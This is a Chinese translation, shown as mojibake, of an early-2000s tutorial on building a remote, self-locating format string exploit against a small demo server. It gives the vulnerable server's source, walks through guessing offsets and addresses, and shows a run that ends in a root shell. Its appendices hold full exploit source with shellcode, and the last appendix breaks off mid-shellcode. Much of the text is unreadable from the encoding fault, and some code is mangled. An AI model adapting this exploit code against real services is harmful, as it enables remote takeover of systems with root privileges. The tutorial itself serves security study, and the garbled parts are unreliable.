ÈçºÎдԶ³Ì×Ô¶¯¾«È·¶¨Î»µÄformat string exploit Ô­×÷: <> by Frédéric Raynal ·­ÒëÕûÀí: alert7 < alert7@xfocus.org > Ö÷Ò³: http://www.xfocus.org/ http://www.whitecell.org/ ʱ¼ä:2002-4-28 ²âÊÔ»·¾³ both redhat linux 6.2 and 7.2ĬÈϰ²×° ¡ï¡ï¡ï ǰÑÔ ¸Ð¾õÕâÆ¬ÎÄÕ»¹²»´í£¬¾ÍÐÁ¿àÒ»ÏÂÎÒ×Ô¼º£¬·­ÒëÏ塃 ·ðÔ»£ºÎÒ²»ÈëµØÓüË­ÈëµØÓü :) Èç¹ûÄãÔÚдformat string exploitµÄʱºòÊÇÒÀÕÕ¸ÃÎÄÕµÄÄ£°åдµÄ»°£¬ ¼ÇµÃ³­ËÍÒ»·Ýµ½ÎÒµÄÐÅÏäºÍÔ­×÷ÕßÐÅÏä¹þ:) ·­ÒëÕûÀíÓÐÎóµÄµØ·½£¬»¹Ç븫Õý Please email to: < alert7@xfocus.org > format string bugÒѾ­±»´ó¼ÒÊìϤÁË£¬µ«Ð´Ò»¸öÕâÑùµÄexploit»òÕß¾ÍÓеãÄѶÈÁË£¬ ÌØ±ðÊÇдһ¸öÔ¶³Ì×Ô¶¯¾«È·¶¨Î»µÄformat string exploit.µ±È»£¬ÓÐЩformat string bugÊDz»ÄÜд³öÔ¶³Ì×Ô¶¯¾«È·¶¨Î»µÄexploitµÄ£¬±ÈÈç˵vul³öÏÖÔÚsyslog(LOG_ERR, buf)£¬ ÕâÑùµÄvuln¾ÍÖ»Äܱ©Á¦²Â²âÁË. ÏÂÃæÎÒÃǾÍstep by stepÀ´Õ¹ÏÖÏÂÕâÖÖÔ¶³Ì×Ô¶¯¾«È·¶¨Î»µÄformat string exploit¼¼Êõ¡£ ¡ï¡ï¡ï --[ 1. Context : the vulnerable server ]-- ÎÒÃÇдÁ˸öºÜСµÄ·þÎñ³ÌÐò×öΪÑÝʾ֮Óá£ÇëÇóloginÃûºÍÃÜÂ룬ȻºóechoËüµÄÊäÈë¡£ ¸Ã·þÎñ³ÌÐò´úÂë·ÅÔÚappendix 1. °²×°fmtd server, ÅäÖÃÈçÏ£¬ÎÒÃÇʹÓÃ12345 port # /etc/inetd.conf 12345 stream tcp nowait root /home/alert7/format/fmtd Or with xinetd: # /etc/xinetd.conf service fmtd { type = UNLISTED user = raynal group = users socket_type = stream protocol = tcp wait = no server = /tmp/fmtd port = 12345 } ÎÒµÄʵÑé»·¾³ÊÇĬÈÏredhat 6.2£¬ËùÒÔÑ¡ÓõÄÊǵÚÒ»ÖÖ¡£ ÖØÆðinetd·þÎñ¡£Ê¹fmtd·þÎñÓÐЧ¡£ [root@redhat]# netstat -nlp|grep 12345 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN 4932/inetd ÏÖÔÚ£¬¿´¿´¸Ã·þÎñÊÇÈçºÎ¹¤×÷µÄ£º [alert7@redhat]$ telnet 0 12345 Trying 0.0.0.0... Connected to 0. Escape character is '^]'. login: alert7 password: 1 helo helo helo world helo world ^] telnet> quit Connection closed. ¿´Ò»ÏÂlogÎļþ [root@redhat]# tail -5 /var/log/messages Mar 3 22:03:14 redhat fmtd[4948]: login -> read login [alert7^M ] (8) bytes Mar 3 22:03:15 redhat fmtd[4948]: passwd -> read passwd [bffff820] (3) bytes Mar 3 22:03:15 redhat fmtd[4948]: vul() -> tmp = 0xbffff418 buf = 0xbffff018 Mar 3 22:03:23 redhat fmtd[4948]: vul() -> error while reading input buf [] (0) Mar 3 22:03:23 redhat inetd[4932]: pid 4948: exit status 255 ¼ÙÈçÎÒÃÇʹÓÃformat string£¬try again [alert7@redhat]$ telnet 0 12345 Trying 0.0.0.0... Connected to 0. Escape character is '^]'. login: alert7 password: 1 %x %x %x %x d 25207825 78252078 d782520 ×Ö·û´®"%x %x %x %x"½«±»×öΪformat string£¬ËùÒÔÎÒÃǾͿ´µ½ÁËd 25207825 78252078 d782520£¬ ÏÔÈ»£¬¸Ãserver¾Í´æÔÚÒ»¸öformat string vuln. ÏÂÃæÊÇ×÷ÕßµÄÔ­»°£¬ÒòΪÎÒÈÏΪËû½²µÄÓеãÎÊÌ⣬ËùÒÔûÓз­Ò룬Áôןø¶ÁÕß×Ô¼º¼ø±ð¡£ In fact, all programs acting like that are not vulnerable to a format bug: int main( int argc, char ** argv ) { char buf[8]; sprintf( buf, argv[1] ); } Using %hn to exploit this leads to an overflow: the formatted string is getting greater and greater, but since no control is performed on its length, an overflow occurs. ¶øÎÒÈÏΪÕâÑùµÄ³ÌÐò»¹ÊÇ¿ÉÒÔÀûÓÃformat string bug to exploit it. Ψһµ£ÐĵÄÊÇformatted stringÌ«´ó£¬»áÅöµ½¶ÑÕ»µ×(0xc0000000)¶øÊ¹³ÌÐòÖÕÖ¹, ÕâÑùµÄ»°¾Í±È½ÏÂé·³ÁË¡£ ¿´¿´serverÖÐÎÊÌâËùÔڵĺ¯Êývul(): ... snprintf(tmp, sizeof(tmp)-1, buf); ... ÒòΪbuffer ÊÇÓû§¿ÉÒÔÖ±½ÓÊäÈë¿ØÖÆµÄ£¬ËùÒÔÀûÓÃËüÎÒÃÇ¿ÉÒÔ¿ØÖÆ·þÎñÆ÷£¬»ñÈ¡ serverȨÏÞµÄshell. ¡ï¡ï¡ï --[ 2. Requested parameters ]-- ¾ÍÏólocal format bugÒ»Ñù£¬ÒÔÏÂÕâЩ²ÎÊýÐèÒª»ñµÃ£º * the offset to reach the beginning of the buffer ; µ½buffer¿ªÊ¼µÄoffset * the address of a shellcode placed somewhere is the server's memory ; shellcodeµÄµØÖ· * the address of the vulnerable buffer ; vuln bufferµÄµØÖ·£¬Ò²¾ÍÊÇinput buffer format stringµÄµØÖ· * a return address. Ò»¸öÒª¸²¸ÇµÄ·µ»ØµØÖ·£¬¸²¸ÇÕâ¸öµØÖ·£¬ÎÒÃǵÄshellcode²ÅÄܵõ½¿ØÖÆÈ¨ exploit´úÂëÔÚ¸½Â¼2¡£ÏÂÃæ²¿·ÖÎÒÃÇÀ´½âÊÍÏÂexploitÊÇÈçºÎÉè¼ÆµÄ¡£ ÒÔÏÂÕâЩÊÇexploitÖÐʹÓõ½µÄһЩ±äÁ¿: * sd : the socket between client (exploit) and the vulnerable server ; clientºÍvuln serverµÄÒ»¸ösocket * buf : a buffer to read/write some data ; ¶ÁдµÄһЩÊý¾Ý * read_at : an address in the server's stack ; Òª¶Á·þÎñÆ÷stackµÄµØÖ· * fmt : format string sent to the server. ·¢Ë͵½serverµÄformat string ¡ï¡ï --[ 2.1 ²Â²âoffset ]-- ¸ÃoffsetÔÚ¸ÃÀàÐ͵ÄexploitÖÐ×ÜÊÇÐèÒªµÄ£¬ËüµÄ»ñÈ¡¸úlocal exploitÒ»Ñù: [alert7@redhat]$ telnet 0 12345 Trying 0.0.0.0... Connected to 0. Escape character is '^]'. login: alert7 password: 1 AAAA%1$x AAAAa AAAA%2$x AAAA41414141 ÕâÀoffsetΪ2¡£¸Ã±äÁ¿Ê¹ÓÃ×Ô¶¯²Â²âÒ²ÊǺÜÈÝÒ׵õ½µÄ£¨Í¨¹ýget_offset()»ñµÃ£©¡£ Ëü·¢string "AAAA%$x"µ½·þÎñÆ÷£¬¼ÙÈçoffsetÊÇ ,·þÎñÆ÷½«»á»Ø´ð"AAAA41414141" ÔÚijЩ²»Ö§³Ö$µÄϵͳÉÏ£¬Ê¹Óà [alert7@redhat]$ telnet 0 12345 Trying 0.0.0.0... Connected to 0. Escape character is '^]'. login: alert7 password: 1 aaaa%p aaaa0x8 aaaa%p%p aaaa0xa0x61616161 Æäʵ»¹Óиö¶ÔÆëÎÊÌ⣬×÷Õß¿ÉÄÜûÓÐ×¢Òâµ½ ʹÓøÃÄ£°å·¢Ë͵½·þÎñÆ÷ [a][a][a]AAAA%$x [a]±íʾ¸Ãa¿ÉÑ¡ ¼ÙÈç·¢ËÍaAAAA%7$x ·þÎñÆ÷»Ø´ðaAAAA41414141 ÄÇô¾ÍÐèÒªÌíÒ»¸öa¶ÔÆë¼´aligned=1£¬offsetΪ7 ÔÚ±¾ÎÄÑÝʾ³ÌÐòÖУ¬aligned = 0,offset = 2 ÀýÈçprintf(buf)ÕâÑùÒ»¸öº¯Êýµ÷ÓÃʱºò ------------------------------------------------------------------ | printf's ·µ»ØÊ±ebp | printf's ·µ»ØÊ±eip | bufµØÖ· | x | x | buf ------------------------------------------------------------------ buf_ptr ÕâÀaligned ¾ÍÊǵÈÓÚ4- (buf-buf_ptr-4)%4 if (aligned ==4) aligned =0; offset = (buf-buf_ptr-4)/4 Æäʵaligned,offset ´ó²¿·Öʱºò¿ÉÒÔÓÃÊÖ¶¯¼ÆËã¾Í¿ÉÒԵõ½ #define MAXOFFSET 255 for (i = 1; i%$s exploitÖУ¬·ÖÁ½²½Íê³É£º 1. get_addr_as_char(u_int addr, char *buf)º¯Êý°Ñaddת»¯Îªchar: *(u_int*)buf = addr; 2. 4¸ö×Ö½Úºó°üº¬ÁËformat string È»ºóformat string±»Ë͵½Ô¶³ÌµÄ·þÎñÆ÷ÉÏ: get_addr_as_char(read_at, fmt); snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset); write(sd, fmt, strlen(fmt)); client¶Á³öÔÚµØÖ·µÄÊý¾Ý£¨ÒÔstringÐÎʽ£©¡£¼ÙÈç²»°üº¬shellcode,ÄÇôÏÂÒ»´Î ¾ÍÔڵĵØÖ·¶ÁÏÂÒ»¶Îstring¡£ ΪÁ˹¹Ôìout buffer, sprintf() ´Ó string¿ªÊ¼·ÖÎö. Ç°Ãæ4¸ö×Ö½ÚÊÇÒª¶ÁµÄµØÖ·£ºËûÃǼòµ¥µÄ±»¿½±´µ½output bufferÖÐ. È»ºóÊÇformat string.Òò´Ë£¬ÎÒÃDZØÐëÒÆ4¸ö×Ö½Ú: while( (len = read(sd, buf, sizeof(buf))) > 0) { [ ... ] read_at += (len-4+1); [ ... ] } ¡ï -- --[ ÎÒÃÇҪѰÕÒʲô ? ]-- -- ÁíÍâÒ»¸öÎÊÌâÊÇ£¬ÈçºÎÔÚÄÚ´æÖмø±ð³öshellcode¡£¼ÙÈçÕýºÃ¶Á³öÁËËùÓеÄshellcode£¬ »¹ÊÇÒ»²»Ð¡Ðľͻá´í¹ýËü¡£ÒòΪbufferÊÇÒÔNULL½áβµÄ£¬¸Ã×Ö·û´®°üº¬Ðí¶àNOPs¡£Òò´Ë¶Á shellcode²Ù×÷¿ÉÒÔ·Ö³ÉÁ½²½Íê³É¡£ ΪÁ˱ÜÃâÉÏÊöÎÊÌ⣬¼ÙÈç¶ÁµÄ×Ö½Ú¶àÉÙµÈÓÚbufferµÄ´óС£¬exploit»áºöÂÔ×îºósizeof(shellcode) ×Ö½Ú´óСµÄÊý¾Ý¡£ËùÒÔ£¬read²Ù×÷°´ÏÂÃæÖ´ÐУº while( (len = read(sd, buf, sizeof(buf))) > 0) { [ ... ] read_at += len; if (len == sizeof(buf)) read_at-=strlen(shellcode); [ ... ] } ×¢Ò⣺ÕâÖÖÇé¿ö»¹Ã»ÓвâÊÔ...ËùÒÔ²»±£Ö¤ËüÄÜÕý³£¹¤×÷ ;-/ ÕâÖÖ»ú»á³öÏֵĸÅÂʱȽÏС£¬Èç¹ûÕæµÄ³öÏÖÕâÑùµÄÇé¿öµÄ»°£¬exploit»áʧ°Ü¡£ ¡ï -- --[ ÔÚÔ¶³Ì½ø³ÌÖвéÕÒshellcodeµÄ¾«È·µØÖ· ]-- -- ÔÚbufÖÐÆ¥ÅäPattern : ptr = strstr(buf, pattern); Ëü·µ»ØÒ»¸öÖ¸ÏòbufÖÐpatternµÄÖ¸Õë¡£Òò´Ë£¬shellcodeµÄλÖþÍÊÇ£º addr_shellcode = read_at + (ptr-buf); ÊÂʵÉÏ»¹Ó¦¸Ã¼õÈ¥4£¬ÄÇ4¸ö×Ö½Ú¾ÍÊÇÓÃÀ´¶Áread_atµØÖ·µÄbuffer¿ªÊ¼µÄÄÇËĸö×Ö½Ú addr_shellcode = read_at + (ptr-buf) - 4; ÆäʵӦ¸Ãд³ÉÕâÑùºÃÀí½âЩ addr_shellcode = read_at + (ptr-(buf + 4) ); ¡ï -- --[ shellcode : a summary ]-- -- ´úÂëһС¶Î£¬Ã»Ê²Ã´ºÃ½âÊ͵Ä: while( (len = read(sd, buf, sizeof(buf))) > 0) { if ((ptr = strstr(buf, shellcode))) { addr_shellcode = read_at + (ptr-buf) - 4; break; } read_at += (len-4+1); if (len == sizeof(buf)) { read_at-=strlen(shellcode); } memset (buf, 0x0, sizeof (buf)); get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } ¡ï¡ï --[ 2.3 ²Â²â·µ»ØµØÖ· ]-- Æä´Î£¬ÎÒÃǸÃÀ´²Â²â·µ»ØµØÖ·ÁË¡£ÎÒÃÇÐèÒªÔÚÔ¶³Ì½ø³Ìstack£¨ÆäÊµËæ±ãʲôµØÖ·¶¼ÐУ¬Ö»Òª ×îºóÈÃshellcodeµÃµ½¿ØÖÆÈ¨£©ÖÐÕÒµ½ÕâÑùÒ»¸öµØÖ·£¬°ÑshellcodeµÄµØÖ·Ð´Èë¸Ã·µ»ØµØÖ·¡£ ÎÒÃǵÄÄ¿±êÊÇÕÒµ½»ý´æÆ÷%eip´æ·ÅµÄ¶ÑջλÖ᣷ÖÁ½²½Íê³É£º 1. ÕÒµ½input bufferµÄµØÖ· 2. ÕÒ³öÊôÓÚvuln bufferº¯ÊýµÄ·µ»ØµØÖ· ΪʲôÎÒÃÇÐèÒª²éÕÒbufferµÄµØÖ·ÄØ£¿ÔÚ¶ÑÕ»ÖвéÕÒ(saved ebp, saved eip)pair ¶ÔÎÒÃÇÀ´Ëµ²»ÊÇÒ»¸öºÃÖ÷Òâ¡£ÒòΪÔÚ²»Í¬µÄµ÷Óú¯Êý²»ÓÃÇåÀí¶ÑÕ»¡£ËùÒÔËü½«°üº¬ÒÔǰº¯Êý µ÷ÓõÄ(saved ebp, saved eip)pair£¬ÉõÖÁ»¹°üº¬×ÅÔÚ½ø³ÌÖв»Ê¹ÓõÄÕâÑùµÄpair. Òò´Ë£¬µÚÒ»²½£¬ÎÒÃÇÀ´²Â²âvuln bufferµÄµØÖ·¡£ÔڸõØÖ·Ö®ÉϵĵØÖ·ÖеÄpairs (saved ebp, saved eip)²ÅÊÇ¿ÉÓõġ£ ¡ï -- --[ ²Â²âinput bufferµØÖ· ]-- -- input bufferÔÚÔ¶³Ì½ø³ÌÄÚ´æÖÐÊÇÈÝÒ×¼ø±ðµÄ£ºËüÊÇÎÒÃÇÊäÈëÊý¾ÝµÄÒ»¸ömirror¡£ server fmtd²»×öÈκÎÐ޸ĵĿ½±´ËüÃÇ¡££¨¼ÙÈçÔÚ·þÎñÆ÷»Ø´ð֮ǰ¶Ôinput buffer ×öÁËһϴ¦Àí£¬±ÈÈ綼ת³É´óд£¬ÕâÑù¾Í±È½ÏÂé·³£¬ÐèÒª´¦ÀíÏ£© ËùÒÔ£¬ÎÒÃǺÜÈÝÒ׵ľÍÄܵõ½Ò»·Ýformat string¿½±´µÄµØÖ·£º while((len = read(sd, buf, sizeof(buf))) > 0) { if ((ptr = strstr(buf, fmt))) { addr_buffer = read_at + (ptr-buf) - 4; break; } read_at += (len-4+1); memset (buf, 0x0, sizeof (buf)); get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } ¡ï -- --[ ²Â²â·µ»ØµØÖ· ]-- -- ´ó²¿·ÖlinuxµÄstack topÔÚ0xc0000000.µ«²»ÊÇÈ«²¿£ºCaldera µÄstack topΪ 0x80000000 (BTW, Ë­ÄܽâÊÍÏÂΪʲô?).»¹ÓÐһЩ´òÁ˰²È«Äں˲¹¶¡µÄstack topÒ² ²»Ò»¶¨Îª0xc0000000¡£ÄÇЩ·µ»ØµØÖ·µÄ´æ·ÅµØÎ»Öôó¸ÅÔÚ0xbfffXXXX,ÕâÀï ÊDz» ¶¨Êý¡£¶ø½ø³ÌµÄ´úÂë±»×°ÔØµ½0x08048000¿ªÊ¼´¦¡£ ËùÒÔ£¬ÎÒÃDZØÐë¶ÁÔ¶³Ì¶ÑÕ»£¬ÕÒµ½ÈçÏ£º 0x0804XXXX 0xbfffXXXX Top of the stack ÓÉÓÚi386ÉÏÊÇС¶Ë×Ö½ÚÐò£¬Õâ¾ÍµÈÓÚ²éÕÒÏÂÃæ×Ö·ûÐòÁÐ0xff 0xbf XX XX 0x04 0x08. ¾ÍÏóÇ°Ãæ¿´µ½µÄ£¬ÎÒÃDz»±Ø¿¼ÂÇ·µ»Ø»ØÀ´µÄstringµÄ×îÇ°ÃæµÄ4¸ö×Ö½Ú£º i = 4; while (iÊÇÓÃÒ»¸ö¹«Ê½À´¼ÆË㣺 * read_at : the address we just read ; * +i : the offset in the string we are looking for the pattern (we can't use strstr() since our pattern has wildcards - undefined bytes XX) ; * -2 : the first bytes we discover in the stack are ff bf, but he full word (i.e. saved %ebp) is written on 4 bytes. The -2 is for the 2 "least bytes" placed at the beginning of the word XX XX ff bf ; * +4 : this modification is due to the return address which is 4 bytes above the saved %ebp ; * -4 : as you should be used to now, the first 4 bytes which are a copy of the read address. ²»·­ÒëÉÏÃæµÄÁË£¬ÖÐÎÄÒâ˼±í´ï²»Ç壬»¹ÊÇEµÄ°É ¡ï¡ï¡ï--[ 3. Exploitation ]-- µ½´Ë£¬ÎÒÃÇÖªµÀÁËËùÓÐÐèÒª²ÎÊý£¬ÕâÑùexploitʵÏÖÆðÀ´Ó¦¸Ã²»ÊǼþÄÑÊ¡£ ÎÒÃDZØÐëÔÚvuln º¯ÊýµÄ·µ»ØµØÖ·(addr_ret)дÉÏshellcodeµÄµØÖ·(addr_shellcode). fmtbuilderº¯ÊýÊÇ´Ó[5]ÖÐÔÔ³öÀ´µÄ£¬²¢ÇÒ¹¹Ôìformat string·¢Ë͵½server: build_hn(buf, addr_ret, addr_shellcode, offset, 0); write(sd, buf, strlen(buf)); Ò»µ©ÔÚÔ¶³Ì¶ÑÕ»ÖÐÌæ»»Íê³É£¬ÎÒÃǾÍÖ»µÈvul()·µ»ØÁË¡£È»ºóÎÒÃǾÍsend "quit"ÃüÁîʹ vul()º¯Êý·µ»Ø¡£ strcpy(buf, "quit"); write(sd, buf, strlen(buf)); ×îºó£¬º¯Êýinteract() ÔÊÐíÎÒÃÇ»ñµÃÒ»¸öshell. [alert7@redhat]$ ./expl-fmtd -a 0xbfffed01 Using IP 127.0.0.1 Connected to 127.0.0.1 [buffer addr is: 0xbffff018 (12) ] buf = (12) 18 f0 ff bf 18 f0 ff bf 25 32 24 73 [shell addr is: 0xbffff820 (57) ] buf = (57) 18 f8 ff bf 48 fc ff bf 50 88 04 08 eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 [ret addr is: 0xbffff81c (57) ] Building format string ... Sending the quit ... bye bye ... Linux redhat 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown uid=0(root) gid=0(root) groups=0(root) exit ¡ï¡ï¡ï--[ 4. С½Ú ]-- ÕýÈçÎÒÃÇ¿´µ½£¬×Ô¶¯¾«È·¶¨Î»Ò²²»ÊÇÊ®·ÖÀ§ÄÑ¡£ fmtbuilmder¿âÒ²ÌṩÁËһЩ±ØÒªµÄ¹¤¾ß £¨²Î¿´²Î¿¼£©¡£ ÕâÀïÓÐÒ»µãÐèҪעÒâµÄ£¬read_atµÄµØÖ·²»ÄÜÌ«µÍ£¬Ì«µÍµÄ»°»áʹserverµ±µô£¬ÒòΪÄÇЩµØÖ· ÊDz»¿É·ÃÎʵġ£Èç¹ûÕâÑùµÄ»°£¬»¹ÐèÒª×ÔÐоÀÕýһϡ£ ¸Ã½â¾ö·½·¨²»ºÃµÄµØ·½¾ÍÊÇ·µ»ØµØÖ·ÔÚinput buffer֮ϡ£·µ»ØµØÖ·Ê¹ÓõÄÊÇvulµÄ·µ»ØµØÖ·¡£ Ò²¾ÍÊÇ˵µÈvul·µ»ØµÄʱºò£¬bufferÒѾ­±»³ÌÐòÇå0ÁË£¬ËùÒÔ¸ÃexploitʹÓõÄshellcodeÊÇ ·Åµ½passwdÖд«¹ýÈ¥µÄ¡£ ÎÒÒ»Ö±±È½Ïϲ»¶¸²¸Ç*printfº¯Êý±¾ÉíµÄ·µ»ØµØÖ·¡£ÕâÑùµ±*printf()·µ»ØµÄʱºò£¬buffer»¹ ûÓб»Çåµô£¬Èç¹ûshellcode·ÅÔÚbufferÖеϰ£¬»¹ÊÇ¿ÉÓõġ£ »¹ÓÐʲô--¼ûAppendix 3 ¡ï--[ Greetings ]-- Denis Ducamp and Renaud Deraison for their comments/fixes. ¸ÐлDenis DucampºÍRenaud Deraison ------------------------------------------------------------------------ --[ Appendix 1 : the server side fmtd ]-- #include #include #include #include #include #include void respond(char *fmt,...); int vul(void) { char tmp[1024]; char buf[1024]; int len = 0; syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x\n", tmp, buf); while(1) { memset(buf, 0, sizeof(buf)); memset(tmp, 0, sizeof(tmp)); if ( (len = read(0, buf, sizeof(buf))) <= 0 ) { syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)", buf, len); exit(-1); } /* else syslog(LOG_INFO, "vul() -> read %d bytes", len); */ if (!strncmp(buf, "quit", 4)) { respond("bye bye ...\n"); return 0; } snprintf(tmp, sizeof(tmp)-1, buf); respond("%s", tmp); } } void respond(char *fmt,...) { va_list va; char buf[1024]; int len = 0; va_start(va,fmt); vsnprintf(buf,sizeof(buf),fmt,va); va_end(va); len = write(STDOUT_FILENO,buf,strlen(buf)); /* syslog(LOG_INFO, "respond() -> write %d bytes", len); */ } int main() { struct sockaddr_in sin; int i,len = sizeof(struct sockaddr_in); char login[16]; char passwd[1024]; openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0); /* get login */ memset(login, 0, sizeof(login)); respond("login: "); if ( (len = read(0, login, sizeof(login))) <= 0 ) { syslog(LOG_ERR, "login -> error while reading login [%s] (%d)", login, len); exit(-1); } else syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len); /* get passwd */ memset(passwd, 0, sizeof(passwd)); respond("password: "); if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) { syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)", passwd, len); exit(-1); } else syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len); /* let's run ... */ vul(); return 0; } ------------------------------------------------------------------------ --[ Appendix 2 : the exploit side expl-fmtd ]-- #include #include #include #include #include #include #include #include #include char verbose = 0, debug = 0; #define OCT( b0, b1, b2, b3, addr, str ) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ if ( b0 * b1 * b2 * b3 == 0 ) { \ printf( "\n%s contains a NUL byte. Leaving...\n", str ); \ exit( EXIT_FAILURE ); \ } \ } #define MAX_FMT_LENGTH 128 #define ADD 0x100 #define FOUR sizeof( size_t ) * 4 #define TWO sizeof( size_t ) * 2 #define BANNER "uname -a ; id" #define MAX_OFFSET 255 int interact(int sock) { fd_set fds; ssize_t ssize; char buffer[1024]; write(sock, BANNER"\n", sizeof(BANNER)); while (1) { FD_ZERO(&fds); FD_SET(STDIN_FILENO, &fds); FD_SET(sock, &fds); select(sock + 1, &fds, NULL, NULL, NULL); if (FD_ISSET(STDIN_FILENO, &fds)) { ssize = read(STDIN_FILENO, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(sock, buffer, ssize); } if (FD_ISSET(sock, &fds)) { ssize = read(sock, buffer, sizeof(buffer)); if (ssize < 0) { return(-1); } if (ssize == 0) { return(0); } write(STDOUT_FILENO, buffer, ssize); } } return(-1); } u_long resolve(char *host) { struct hostent *he; u_long ret; if(!(he = gethostbyname(host))) { herror("gethostbyname()"); exit(-1); } memcpy(&ret, he->h_addr, sizeof(he->h_addr)); return ret; } int build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base,int alinged) { unsigned char b0, b1, b2, b3; unsigned int high, low; int start = ((base / (ADD * ADD)) + 1) * ADD * ADD; int sz; int i; /* : where to overwrite */ OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]"); sz = snprintf(buf, TWO + 1, /* 8 char to have the 2 addresses */ "%c%c%c%c" /* + 1 for the ending \0 */ "%c%c%c%c", b3, b2, b1, b0, b3 + 2, b2, b1, b0); /* where is our shellcode ? */ OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]"); high = (retaddr & 0xffff0000) >> 16; low = retaddr & 0x0000ffff; for (i=0;i 0 && (addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) { if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len); /***********************************************************************/ //ÒÔϲéÕÒshellcode ÔÚÄÚ´æÖеĵØÖ· /* the shellcode */ if ((ptr = strstr(buf, shellcode))) { addr_shellcode = read_at + (ptr-buf) - 4; fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len); fprintf(stderr, "buf = (%d)\n", len); for (i=0; i> 8) & 0xff) *( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 ) addr_ret = -1; else fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len); } i++; } } /***********************************************************************/ read_at += (len-4+1); if (len == sizeof(buf)) { fprintf(stderr, "Warning: this has not been tested !!!\n"); fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at); read_at-=strlen(shellcode); } get_addr_as_char(read_at, fmt); write(sd, fmt, strlen(fmt)); } //end while /* send the format string */ fprintf (stderr, "Building format string ...\n"); memset(buf, 0, sizeof(buf)); build_hn(buf, addr_ret, addr_shellcode, offset, 0,aligned); write(sd, buf, strlen(buf)); sleep(1); read(sd, buf, sizeof(buf)); /* call the return while quiting */ fprintf (stderr, "Sending the quit ...\n"); strcpy(buf, "quit"); write(sd, buf, strlen(buf)); sleep(1); interact(sd); close(sd); return 0; } ------------------------------------------------------------------------ --[ Appendix 3 : the exploit modify by alert7 ]-- /********************************************************************/ /* changelog 1 Èç¹ûinput buffer¹»´ó£¬¶øÓÖûÓÐÆäËûµØÖ·¿ÉÊäÈëµÄµØ·½£¬Ã»ÓÐÏóÀàËÆpassµÄʱºò ÎÒÃÇ¿ÉÒÔ°ÑshellcodeÖ±½Ó·Åµ½input bufferÖÐ 2 ¸Ã¸Ä½ø¹ýµÄexploit¿¼ÂÇÁËalignedµÄÎÊÌâÁË£¬Ô­À´Ô­×÷ÕßûÓп¼Âǵ½ ËäÈ»ÔÚÕâ¸öÀý×ÓÖУ¬ÎÒÃÇûÓÐÅöµ½£¬Ò²¾ÍÊÇÔÚÕâ¸öÀý×ÓÖÐalignedΪ0 3 ¸Ä½ø¹ýµÄexploitÐèÒª²Â²â3¸ö²¿·Ö Ò»¸öÊÇoffsetºÍaligned µÚ¶þ¸ö¾ÍÊÇinput bufferµÄµØÖ·£¬Ò²¾ÍÊÇformat stringµÄµØÖ· µÚÈý¸ö¾ÍÊÇret_loc,Òª¸²¸ÇµÄ·µ»ØµØÖ· ¼õÉÙÁ˲²âshellcodeµÄµØÖ·µÄ¹ý³Ì£¬ÒòΪÏÖÔÚ°Ñshellcode·Åµ½ÔÚÁË format stringºóÃæ£¬Ö±½ÓºÍformat string·Å½øÁËinput buffer ËùÒÔ£¬ÓÐÁËformat stringµØÖ·£¬¾ÍÓÐÁËshellcodeµØÖ· 4 ¸Ä½ø¹ýµÄexploitÐ޸ĵķµ»ØµØÖ·ÊÇ*printf±¾ÉíµÄ·µ»ØµØÖ·£¬¸ü¾«È·Ð© ¹ØÓÚ¸²¸Ç*printf±¾ÉíµÄ·µ»ØµØÖ·£¬Çë²Î¿¼×¾×÷<<ÀûÓøñʽ»¯´®¸²¸Ç*printf()ϵÁк¯Êý±¾ÉíµÄ·µ»ØµØÖ·>> Ò²¾ÍÊÇÓÉÓÚʹÓÃÁ˸ü¼Êõ£¬²ÅʹµÄÎÒÃǵÄshellcode¿ÉÒÔ·ÅÔÚinput bufferÖС£ 5 ¸ÃexploitÄÜÕýÈ·´¦Àí Ïóprintf(buf)£¨format string¿ÉÒÔÔÚbufÖÐÕÒµ½£©ºÍsprintf(buf1,buf2) £¨format string¿ÉÒÔͬʱÔÚbuf1ºÍbuf2ÖÐÕÒµ½£©ÕâÑùÁ½´óÀà*printfº¯Êý */ #include #include #include #include #include #include #include #include #include char verbose = 0, debug = 0; #define OCT( b0, b1, b2, b3, addr, str ) { \ b0 = (addr >> 24) & 0xff; \ b1 = (addr >> 16) & 0xff; \ b2 = (addr >> 8) & 0xff; \ b3 = (addr ) & 0xff; \ if ( b0 * b1 * b2 * b3 == 0 ) { \ printf( "\n%s contains a NUL byte. Leaving...\n", str ); \ exit( EXIT_FAILURE ); \ } \ } #define MAX_FMT_LENGTH 128 #define ADD 0x100 #define FOUR sizeof( size_t ) * 4 #define TWO sizeof( size_t ) * 2 #define BANNER "uname -a ; id" #define MAX_OFFSET 255 char *shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 